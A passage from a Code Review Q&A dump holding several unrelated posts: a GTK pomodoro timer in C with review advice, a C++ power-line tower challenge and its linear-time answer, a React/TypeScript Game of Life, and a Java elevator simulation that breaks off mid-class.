<h2><strong>src/signals/timer_buttons.h</strong></h2> <pre><code>#ifndef TIMER_BUTTONS_H_INCLUDED #define TIMER_BUTTONS_H_INCLUDED void start_signal (GtkWidget*, struct TimerUI*); void pause_signal (GtkWidget*, struct TimerUI*); void reset_signal (GtkWidget*, struct TimerUI*); #endif // TIMER_BUTTONS_H_INCLUDED </code></pre> <h2><strong>src/frontend/view.glade</strong></h2> <pre><code>?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;!-- Generated with glade 3.22.2 --&gt; &lt;interface&gt; &lt;requires lib=&quot;gtk+&quot; version=&quot;3.20&quot;/&gt; &lt;object class=&quot;GtkWindow&quot; id=&quot;window&quot;&gt; &lt;property name=&quot;can_focus&quot;&gt;False&lt;/property&gt; &lt;property name=&quot;window_position&quot;&gt;center&lt;/property&gt; &lt;child type=&quot;titlebar&quot;&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;object class=&quot;GtkGrid&quot;&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;False&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;column_homogeneous&quot;&gt;True&lt;/property&gt; &lt;child&gt; &lt;object class=&quot;GtkButton&quot; id=&quot;bottomButtonReset&quot;&gt; &lt;property name=&quot;label&quot; translatable=&quot;yes&quot;&gt;Reset&lt;/property&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;receives_default&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;6&lt;/property&gt; &lt;signal name=&quot;clicked&quot; handler=&quot;reset_signal&quot; swapped=&quot;no&quot;/&gt; &lt;/object&gt; &lt;packing&gt; &lt;property name=&quot;left_attach&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;top_attach&quot;&gt;12&lt;/property&gt; &lt;/packing&gt; &lt;/child&gt; &lt;child&gt; &lt;object class=&quot;GtkButton&quot; id=&quot;bottomButtonPause&quot;&gt; &lt;property name=&quot;label&quot; translatable=&quot;yes&quot;&gt;Pause&lt;/property&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;receives_default&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;6&lt;/property&gt; &lt;signal name=&quot;clicked&quot; handler=&quot;pause_signal&quot; swapped=&quot;no&quot;/&gt; &lt;/object&gt; &lt;packing&gt; &lt;property name=&quot;left_attach&quot;&gt;1&lt;/property&gt; &lt;property name=&quot;top_attach&quot;&gt;12&lt;/property&gt; &lt;/packing&gt; &lt;/child&gt; &lt;child&gt; &lt;object class=&quot;GtkButton&quot; id=&quot;bottomButtonStart&quot;&gt; &lt;property name=&quot;label&quot; translatable=&quot;yes&quot;&gt;Start&lt;/property&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;receives_default&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;6&lt;/property&gt; &lt;signal name=&quot;clicked&quot; handler=&quot;start_signal&quot; swapped=&quot;no&quot;/&gt; &lt;/object&gt; &lt;packing&gt; &lt;property name=&quot;left_attach&quot;&gt;2&lt;/property&gt; &lt;property name=&quot;top_attach&quot;&gt;9&lt;/property&gt; &lt;property name=&quot;height&quot;&gt;2&lt;/property&gt; &lt;/packing&gt; &lt;/child&gt; &lt;child&gt; &lt;object class=&quot;GtkCheckButton&quot;&gt; &lt;property name=&quot;label&quot; translatable=&quot;yes&quot;&gt;Stick on screen&lt;/property&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;receives_default&quot;&gt;False&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;draw_indicator&quot;&gt;True&lt;/property&gt; &lt;signal name=&quot;toggled&quot; handler=&quot;stick_checkbox_signal&quot; swapped=&quot;no&quot;/&gt; &lt;/object&gt; &lt;packing&gt; &lt;property name=&quot;left_attach&quot;&gt;1&lt;/property&gt; &lt;property name=&quot;top_attach&quot;&gt;14&lt;/property&gt; &lt;/packing&gt; &lt;/child&gt; &lt;child&gt; &lt;object class=&quot;GtkLabel&quot; id=&quot;timer&quot;&gt; &lt;property name=&quot;name&quot;&gt;timer-text&lt;/property&gt; &lt;property name=&quot;visible&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;can_focus&quot;&gt;False&lt;/property&gt; &lt;property name=&quot;margin_left&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_right&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_top&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;margin_bottom&quot;&gt;6&lt;/property&gt; &lt;property name=&quot;hexpand&quot;&gt;True&lt;/property&gt; &lt;property name=&quot;vexpand&quot;&gt;True&lt;/property&gt; &lt;/object&gt; &lt;packing&gt; &lt;property name=&quot;left_attach&quot;&gt;1&lt;/property&gt; &lt;property name=&quot;top_attach&quot;&gt;1&lt;/property&gt; &lt;property name=&quot;width&quot;&gt;3&lt;/property&gt; &lt;property name=&quot;height&quot;&gt;7&lt;/property&gt; &lt;/packing&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;child&gt; &lt;placeholder/&gt; &lt;/child&gt; &lt;/object&gt; &lt;/child&gt; &lt;/object&gt; &lt;/interface&gt; </code></pre> <h2><strong>src/frontend/style.css</strong></h2> <pre><code>#timer-text { font: 60px &quot;Comic Sans&quot;; } </code></pre> <h1><strong>Compile</strong></h1> <p>I compile the program on Ubuntu 20.04.1 using:</p> <pre><code>gcc-9 `pkg-config --cflags gtk+-3.0` -o main main.c `pkg-config --libs gtk+-3.0` -rdynamic -g -Wall </code></pre> <h2><strong>Question</strong></h2> <p>Outside of the overall design of that C program, am I missing anything about security or performance? I’m not doing any memory management really, I wonder if I should (or maybe I misunderstand what it means). Basically, I wonder if I am missing things you need to do in C since I usually code with high-level programming languages.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T14:15:51.080", "Id": "499750", "Score": "2", "body": "Welcome to the Code Review Community. You will get a better code review if you include the complete files you want reviewed. Right now your code is missing at least the header file include statements." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T18:18:16.063", "Id": "499772", "Score": "0", "body": "Ok, thanks. That should be all the complete files now." } ]
[ { "body": "<p>Here are some things that may help you improve your program.</p>\n<h2>Reconsider the directory structure</h2>\n<p>I generally prefer a flat data structure for programs as small and simple as this one. That is, I'd put all of the code in <code>src</code> including <code>main.c</code>. This makes maintenance a bit easier because we no longer need to include the directory structure in every single source file that uses an <code>#include</code>. For more complex projects where I do use different directories, I tend to tell the compiler where to find the <code>#include</code> files rather than having that information hardcoded in each file. That way, I have a single place (e.g. a <code>Makefile</code> or a <code>CMakeLists.txt</code> file) that stores the hierarchy.</p>\n<h2>Make sure you have all required <code>#include</code>s</h2>\n<p>The code uses <code>bool</code> in several places but doesn't <code>#include &lt;stdbool.h&gt;</code>. Also, a number of the include files are missing items. For instance, the <code>timer.h</code> file is missing these:</p>\n<pre><code>#include &quot;structures.h&quot;\n#include &lt;gtk/gtk.h&gt;\n</code></pre>\n<h2>Don't hardcode file names</h2>\n<p>Generally, it's not a good idea to hardcode a file name in software, and generally especially bad if it's an absolute file name (as contrasted with one with a relative path). Instead, it would be better to allow the user of the program to specify the name, as with a command line parameter or a configuration file.</p>\n<h2>Only <code>#include</code> header files</h2>\n<p>The <code>main.c</code> code incorrectly includes other <code>.c</code> files. What it should do instead is <em>only</em> include the <code>.h</code> files (the interface files). Each <code>.c</code> file is converted into an object file <code>.o</code> and then they are linked into a single excutable. I use <code>CMake</code> typically, so one way to write a <code>CMakeLists.txt</code> file for the top level of this project is this:</p>\n<pre><code>cmake_minimum_required(VERSION 3.1)\nproject(pomodoro)\nset(CMAKE_C_STANDARD 11)\nset(CMAKE_C_FLAGS &quot;${CMAKE_C_FLAGS} -Wall -Wextra -pedantic&quot;)\nadd_subdirectory(src)\n</code></pre>\n<p>Then within the <code>src</code> directory, another <code>CMakeLists.txt</code> file looks like this:</p>\n<pre><code>cmake_minimum_required(VERSION 3.1)\nfind_package(PkgConfig REQUIRED)\npkg_check_modules(GTK3 REQUIRED gtk+-3.0)\ninclude_directories(${GTK3_INCLUDE_DIRS})\nlink_directories(${GTK3_LIBRARY_DIRS})\nadd_definitions(${GTK3_CFLAGS_OTHER})\nadd_executable(pomodoro &quot;timer_buttons.c&quot; &quot;options.c&quot; &quot;frontend.c&quot; &quot;timer.c&quot; &quot;main.c&quot;)\ntarget_link_libraries(pomodoro ${GTK3_LIBRARIES})\n</code></pre>\n<h2>Avoid duplicating contants</h2>\n<p>The code currently includes this function:</p>\n<pre><code>void\nreset_timer(struct TimerUI *timerUi)\n{\n timerUi-&gt;hours = 25;\n timerUi-&gt;seconds = 0;\n gtk_label_set_text(timerUi-&gt;label, &quot;25:00&quot;);\n}\n</code></pre>\n<p>If I wanted to change this to be, for example, a 15 minute timer, I'd have to make that change twice. What I'd suggest instead is to create a function to format the string and then call it from here and also from within <code>run_timer</code>. Even better, make it configurable by the user. Also, that should clearly be <code>minutes</code> and not <code>hours</code>!</p>\n<h2>Simplify formatting</h2>\n<p>The code currently has this for formatting the timer string:</p>\n<pre><code>char formattedTime[6];\nchar formattedSeconds[3];\n\nif (timerUi-&gt;seconds &lt; 10 &amp;&amp; timerUi-&gt;seconds &gt;= 0)\n snprintf(formattedSeconds, 3, &quot;0%d&quot;, timerUi-&gt;seconds);\nelse\n snprintf(formattedSeconds, 3, &quot;%d&quot;, timerUi-&gt;seconds);\n\nsnprintf(formattedTime, 6, &quot;%d:%s&quot;, timerUi-&gt;hours, formattedSeconds);\n</code></pre>\n<p>That's much more complex than needed:</p>\n<pre><code>char formattedTime[6];\nsnprintf(formattedTime, 6, &quot;%d:%2.2d&quot;, timerUi-&gt;minutes, timerUi-&gt;seconds);\ngtk_label_set_text(GTK_LABEL(timerUi-&gt;label), formattedTime);\n</code></pre>\n<p>In keeping with the previous suggestion, I'd factor it out like this:</p>\n<pre><code>static void \nset_timer_string(struct TimerUI *timerUi) \n{\n#define TIMESTRINGLEN 6\n char formattedTime[TIMESTRINGLEN];\n snprintf(formattedTime, TIMESTRINGLEN, &quot;%d:%2.2d&quot;, timerUi-&gt;minutes, timerUi-&gt;seconds);\n gtk_label_set_text(GTK_LABEL(timerUi-&gt;label), formattedTime);\n}\n</code></pre>\n<h2>Think of the user</h2>\n<p>If <code>style.css</code> fails to load or the <code>view.glade</code> file has an error in it, the user is given a rather cryptic error message and then the program abruptly halts. It would be better to gracefully capture these and report useful error messages.</p>\n<p>It's also a bit confusing that when the timer expires it shows &quot;-1:59&quot; and keeps going. I'd have expected that it stops, or turns red or something to indicated that it has expired.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-12T18:53:19.843", "Id": "502141", "Score": "0", "body": "Sorry for the very late reply, you made very good points. I really lack time and I have moved to another project so I didn't take everything. I have implemented the \"Avoid duplicating contants\" and \"Make sure you have all required #includes\" so far and also fixed the negative timer bug. I'm not sure if we're allowed to share links but I have released the code https://github.com/lalande21185/pomodoro-timer." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T17:40:51.793", "Id": "253466", "ParentId": "253415", "Score": "0" } } ]
{ "AcceptedAnswerId": "253466", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T10:47:15.833", "Id": "253415", "Score": "6", "Tags": [ "c", "linux", "gtk" ], "Title": "Timer application using GTK" }
253415
<p>I made this code for a past test, I only got 30/100 points obtainable, because it went out of time,how can I make it more efficient?</p> <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; bool check(int s[], int n) { for (int i = 0; i &lt; n; i++) { if (s[i] &lt; s[i + 1] &amp;&amp; i != n - 1) { return false; } } return true; } int main() { std::ifstream in(&quot;input.txt&quot;); std::ofstream out(&quot;output.txt&quot;); int n; int s[1000000]; bool legge = false; int c = 0; in &gt;&gt; n; for (int i = 0; i &lt; n; i++) { in &gt;&gt; s[i]; } legge = check(s,n); while (!legge) { for (int i = 0; i &lt; n; i++) { int m = i+1; if (s[i] &lt; s[m] &amp;&amp; i != n-1) { s[i] = s[m]; } } legge = check(s,n); c ++; } out &lt;&lt; c; } </code></pre> <p>Text: In order to increase their efficiency, a new law mandates that every tower in a power line must be at least as high as the following one. Luca needs to change the height of some towers, in order to meet the new requirements. Every day, starting from the first tower, Luca will increase the height of every tower to the same height of the next one. Of course, if one tower is already taller than the following one it will not be modified. How many days does Luca need to finish the job?</p>
[]
[ { "body": "<p>There are several reasons why your solution is slow. However, the main reason is because you are actually performing all the steps that Luca would do, but the goal is just to determine the number of days Luca would need. So try to think of a way to determine that number by just looking at the all the tower heights once.</p>\n<p>It helps to look at a few special cases first. Consider the towers having stricly descending heights:</p>\n<pre><code>5, 4, 3, 2, 1\n</code></pre>\n<p>It is clear that nothing has to be done, so this would take 0 days. Now look at the towers having strictly ascending heights:</p>\n<pre><code>1, 2, 3, 4, 5\n</code></pre>\n<p>It should be fairly obvious that it will take Luca 4 days to fix this, as the result of every day's worth is that it basically shifts the heights to the left, like so:</p>\n<pre><code>day 1: 2, 3, 4, 5, 5\nday 2: 3, 4, 5, 5, 5\nday 3: 4, 5, 5, 5, 5\nday 4: 5, 5, 5, 5, 5\n</code></pre>\n<p>So now let's look at a more complex case:</p>\n<pre><code>4, 5, 1, 2, 3\n</code></pre>\n<p>The key insight is that there are two distinct regions of increasing heights:</p>\n<pre><code>4, 5 and 1, 2, 3\n</code></pre>\n<p>The first region takes one day to fix, the second two days. But this happens in parallel of course, so it's just a matter of finding the largest region of increasing heights, and subtract one from its length to get the number of days Luca needs. There's just one complication, let's look at this example:</p>\n<pre><code>2, 3, 1, 4, 5\n</code></pre>\n<p>Again there are two regions of strictly increasing heights, but it should be clear that since the second region's maximum height is larger than the first region's, it will actually take 4 days to finish the job. So what you should do is divide it in regions that each end at the maximum possible height. For example, take this example:</p>\n<pre><code>1, 3, 5, 7, 9, 2, 8, 4, 6\n ^ ^ ^\n | | |\n</code></pre>\n<p>I marked the positions of the end of each region. The first region's length is 5, the second and third have length 2. So the number of days necessary is 4. But how to find these maxima efficiently? If you scan forward you wouldn't know where the maximum of the first region is until you've seen all numbers. You then need to repeat this for all the points after the maximum. However, if you work backwards you only need to go through the heights once: you keep track of the maximum so far, and how many points you have visited. As soon as you see a height larger than the maximum you have so far, you store the length so far if that is the largest length you've seen so far, and then replace the current maximum with the new maximum you just found:</p>\n<pre><code>int maximum = -1; // assuming no tower has negative height\nint length = 0;\nint longest = 0;\n\nfor (int i = n - 1; i &gt;= 0; i--)\n{\n if (s[i] &gt; maximum) {\n if (length &gt; longest)\n longest = length;\n maximum = s[i];\n length = 0;\n } else {\n length++;\n }\n}\n\nif (length &gt; longest)\n longest = length;\n\nout &lt;&lt; longest &lt;&lt; &quot;\\n&quot;; \n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T12:09:11.850", "Id": "499741", "Score": "0", "body": "how much should the initial value of max be?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T12:12:24.313", "Id": "499742", "Score": "0", "body": "It depends on the problem statement. Are the heights all positive? Then using a negative value for `maximum` will work fine. If it can be anything, then use `maximum = s[n - 1]` as the initial value, and then start the loop at `i = n - 2` to compensate." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T12:33:07.880", "Id": "499743", "Score": "0", "body": "one last question but putting that longest changes only if the number is greater than max, technically longest does not change, this is set to 1 and remains so or am I wrong? @G. Sliepen" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T16:17:18.310", "Id": "499760", "Score": "0", "body": "The code I wrote contains `if (length > longest) longest = length`, so it will in the end contain the length of the longest section." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T18:47:40.607", "Id": "499775", "Score": "0", "body": "I mean that when in the example you did before, when the cycle goes to 9, it sets the number of length to 1, but then it is not updated at each cycle because it does not enter the if that contains the passage to change length with longest, returning as a result 1 and not 4 @G.Sliepen" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T19:59:10.947", "Id": "499776", "Score": "0", "body": "Ah oops, you're right I forgot to add the final check for longest length to the code!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:18:13.463", "Id": "499779", "Score": "0", "body": "thanks again, i did and it worked, thanks again for wasting your time with me" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T12:31:03.280", "Id": "499816", "Score": "0", "body": "Just start with `length = -1`, `maximum = INT_MIN`." } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:48:13.973", "Id": "253419", "ParentId": "253416", "Score": "2" } } ]
{ "AcceptedAnswerId": "253419", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:04:04.293", "Id": "253416", "Score": "2", "Tags": [ "c++", "programming-challenge" ], "Title": "how can I optimize this code for a powerline?" }
253416
<p>This is my first React project. I've included the main files that don't just contain boilerplate. This is a visualization of Conway's Game of Life, with a few toggleable features like starting/stopping and changing the speed.</p> <p>Game.tsx</p> <pre><code>import React from &quot;react&quot; import { Grid } from &quot;./Grid&quot;; import { randomProbability, wait } from &quot;./utils&quot;; type Props = {}; type State = { grid: boolean[][] running: boolean, timeout: number }; const HEIGHT = 30; const WIDTH = 60; const PROBABILITY_OF_ALIVE = 0.5; export default class Game extends React.Component&lt;Props, State&gt; { constructor(props: Props) { super(props); this.state = { grid: this.generateRandomGrid(), running: false, timeout: 10 }; } async runSimulation() { await this.setState({ running: true }); while (this.state.running) { await this.simulateOneStep(); } } async simulateOneStep() { const newGrid = this.nextGeneration(); await wait(this.state.timeout); await this.setState({ grid: newGrid }); } renderStopStartButtons() { if (this.state.running) { return ( &lt;button className=&quot;menu-button&quot; onClick={() =&gt; this.stop()}&gt; Stop &lt;/button&gt; ); } else { return ( &lt;button className=&quot;menu-button&quot; onClick={() =&gt; this.runSimulation()}&gt; Start &lt;/button&gt; ); } } renderStepButton() { if (this.state.running) { return ( &lt;button className=&quot;empty-menu-button&quot;&gt; Run One Step &lt;/button&gt; ); } else { return ( &lt;button className=&quot;menu-button&quot; onClick={() =&gt; this.simulateOneStep()}&gt; Run One Step &lt;/button&gt; ); } } renderResetButton() { return ( &lt;button className=&quot;menu-button&quot; onClick={() =&gt; window.location.reload()}&gt; Reset &lt;/button&gt; ) } renderSpeedSlider() { return ( &lt;span&gt; &lt;label className=&quot;menu-text&quot;&gt;Toggle Speed&lt;/label&gt; &lt;input type=&quot;range&quot; id=&quot;toggle-speed&quot; min=&quot;5&quot; max=&quot;1000&quot; onChange={event =&gt; this.setState({ timeout: parseInt(event.target.value) })}&gt; &lt;/input&gt; &lt;/span&gt; ) } renderMenu() { return ( &lt;header&gt; &lt;nav&gt; &lt;ul id=&quot;menu&quot;&gt; &lt;span className=&quot;menu-segment&quot;&gt; {this.renderResetButton()} &lt;/span&gt; &lt;span className=&quot;menu-segment&quot;&gt; {this.renderStopStartButtons()} &lt;/span&gt; &lt;span className=&quot;menu-segment&quot;&gt; {this.renderStepButton()} &lt;/span&gt; &lt;span className=&quot;menu-segment&quot;&gt; {this.renderSpeedSlider()} &lt;/span&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;/header&gt; ) } stop() { this.setState({ running: false }); } start() { this.setState({ running: true }); } render() { return ( &lt;div id=&quot;page&quot;&gt; {this.renderMenu()} &lt;Grid dimensions={this.state.grid} /&gt; &lt;/div&gt; ) } generateRandomGrid() { const grid: boolean[][] = []; for (let row = 0; row &lt; HEIGHT; row++) { grid.push([]); for (let col = 0; col &lt; WIDTH; col++) { grid[row].push(randomProbability(PROBABILITY_OF_ALIVE)); } } return grid; } nextGeneration() { const newGrid = this.state.grid.slice(); for (let row = 0; row &lt; HEIGHT; row++) { for (let col = 0; col &lt; WIDTH; col++) { if (this.getAliveNeighbourCount(row, col) === 3) { this.setAlive(newGrid, row, col); } else if (this.isAlive(row, col) &amp;&amp; this.getAliveNeighbourCount(row, col) === 2) { this.setAlive(newGrid, row, col); } else { this.setDead(newGrid, row, col); } } } return newGrid; } setAlive(grid: boolean[][], row: number, col: number) { grid[row][col] = true; } setDead(grid: boolean[][], row: number, col: number) { grid[row][col] = false; } getAliveNeighbourCount(row: number, col: number) { let neighbourCount = 0; for (let i = -1; i &lt; 2; i++) { for (let j = -1; j &lt; 2; j++) { if (i === 0 &amp;&amp; j === 0) { continue; } if (this.isOnGrid(row + i, col + j) &amp;&amp; this.isAlive(row + i, col + j)) { neighbourCount++; } } } return neighbourCount; } isAlive(row: number, col: number) { return this.state.grid[row][col]; } isOnGrid(row: number, col: number) { return row &gt;= 0 &amp;&amp; row &lt; HEIGHT &amp;&amp; col &gt;= 0 &amp;&amp; col &lt; WIDTH; } } </code></pre> <p>Grid.tsx</p> <pre><code>import React from &quot;react&quot; import { Tile } from &quot;./Tile&quot;; type Props = { dimensions: boolean[][] } export const Grid = ({ dimensions }: Props) =&gt; { const renderTile = (tile: boolean, index: number) =&gt; { return &lt;Tile isAlive={tile} key={index.toString()} /&gt; } const renderRow = (row: boolean[], index: number) =&gt; { return ( &lt;tr key={index.toString()}&gt; {row.map((tile, index) =&gt; { return renderTile(tile, index); })} &lt;/tr&gt; ) } return ( &lt;table id=&quot;main-grid&quot;&gt; &lt;tbody&gt; {dimensions.map((row, index) =&gt; { return renderRow(row, index); })} &lt;/tbody&gt; &lt;/table&gt; ); } </code></pre> <p>Tile.tsx</p> <pre><code>import React from &quot;react&quot; type Props = { isAlive: boolean, } export const Tile = ({ isAlive }: Props) =&gt; { const aliveStyle = isAlive ? &quot;alive&quot; : &quot;&quot;; return ( &lt;td className={aliveStyle}&gt; &lt;/td&gt; ); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T18:41:08.040", "Id": "500225", "Score": "4", "body": "This question is incomplete. To help reviewers give you better answers, please add sufficient context to your question. The more you tell us about what your code does and what the purpose of doing that is, the easier it will be for reviewers to help you. [Questions should include a description of what the code does](//codereview.meta.stackexchange.com/q/1226)" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T11:26:20.670", "Id": "253417", "Score": "1", "Tags": [ "beginner", "react.js", "typescript", "game-of-life" ], "Title": "Game of Life in TypeScript React" }
253417
<p>The project is about simulation 5 elevators in 5-storey building. In the real world example, an elevator is going up then going down.</p> <p>Example going up <code>1 - 2 - 3 - 4 - 5</code> then down <code>4 - 3 - 2 - 1</code> then up again <code>2 - 3 - 4 - 5</code>, etc.</p> <p>The algorithm is simple; just two if blocks depend on the direction of the elevator. And if the elevator on the top floor breaks the loop and change direction to down. Also at the bottom floor do the same thing as well.</p> <p>But obviously, there are code duplications and code smells.</p> <p>This is works but I want to put a solid solution. How to improve this code?</p> <p>Thanks in advance.</p> <p>Elevator class</p> <pre><code>import lombok.extern.slf4j.Slf4j; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.BlockingQueue; import static org.koucs.domain.FloorNumber.FOURTH; import static org.koucs.domain.FloorNumber.GROUND; @Slf4j public class Elevator implements Runnable{ private static final Integer MAX_CAPACITY = 10; private static final Integer WORK = 200; private boolean isRunning = false; private Direction direction; private Floor current; private final Building building; private final BlockingQueue&lt;Person&gt; people; private final String name; public Elevator(Building building, String name) { this.building = building; this.name = name; this.people = new ArrayBlockingQueue&lt;&gt;(MAX_CAPACITY); this.direction = Direction.UP; } @Override public void run() { try { isRunning = true; log.info(&quot;{}. elevator running.&quot;, name); while (isRunning) { if (direction.equals(Direction.UP)) { log.debug(&quot;{}. elevator going up&quot;, name); for (Floor floor : building.upFloors()) { current = floor; for ( Person person : people) { if (person.getDestination() == current.getFloorNumber()) { // take people off boolean drop = people.remove(person); current.getPeople().put(person); } } while (!current.getElevatorQueue().isEmpty()) { // take people in if (people.size() == MAX_CAPACITY) { break; } people.put(current.getElevatorQueue().take()); } Thread.sleep(WORK); if (current.getFloorNumber() == FOURTH) { // if elevator on the top floor direction = Direction.DOWN; break; } } } if (direction.equals(Direction.DOWN)) { log.debug(&quot;{}. elevator going down&quot;, name); for (Floor floor : building.downFloors()) { current = floor; for ( Person person : people) { if (person.getDestination() == current.getFloorNumber()) { boolean drop = people.remove(person); current.getPeople().put(person); } } while (!current.getElevatorQueue().isEmpty()) { if (people.size() == MAX_CAPACITY) { break; } people.put(current.getElevatorQueue().take()); } Thread.sleep(WORK); if (current.getFloorNumber() == GROUND) { direction = Direction.UP; break; } } } } } catch (Exception e) { isRunning = false; log.error(&quot;&quot;, e); } } public boolean isRunning() { return isRunning; } public Direction getDirection() { return direction; } public Floor getCurrent() { return current; } public BlockingQueue&lt;Person&gt; getPeople() { return people; } public void stop() { isRunning = false; } public String getName() { return name; } } </code></pre> <p>Building class</p> <pre><code>import lombok.Data; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; @Data public class Building { private Floor ground; private Floor first; private Floor second; private Floor third; private Floor fourth; private Elevator consist; private List&lt;Elevator&gt; elevators; private Elevator secondElevator; private Elevator thirdElevator; private Elevator fourthElevator; private Elevator fifthElevator; public Building() { ground = new Floor(FloorNumber.GROUND); first = new Floor(FloorNumber.FIRST); second = new Floor(FloorNumber.SECOND); third = new Floor(FloorNumber.THIRD); fourth = new Floor(FloorNumber.FOURTH); elevators = new ArrayList&lt;&gt;(4); consist = new Elevator(this, &quot;1&quot;); secondElevator = new Elevator(this, &quot;2&quot;); thirdElevator = new Elevator(this, &quot;3&quot;); fourthElevator = new Elevator(this, &quot;4&quot;); fifthElevator = new Elevator(this, &quot;5&quot;); elevators.add(thirdElevator); elevators.add(secondElevator); elevators.add(fourthElevator); elevators.add(fifthElevator); } public Floor getFLoor( FloorNumber floorNumber ) { Floor floor; switch (floorNumber) { case GROUND: floor = getGround(); break; case FIRST: floor = getFirst(); break; case SECOND: floor = 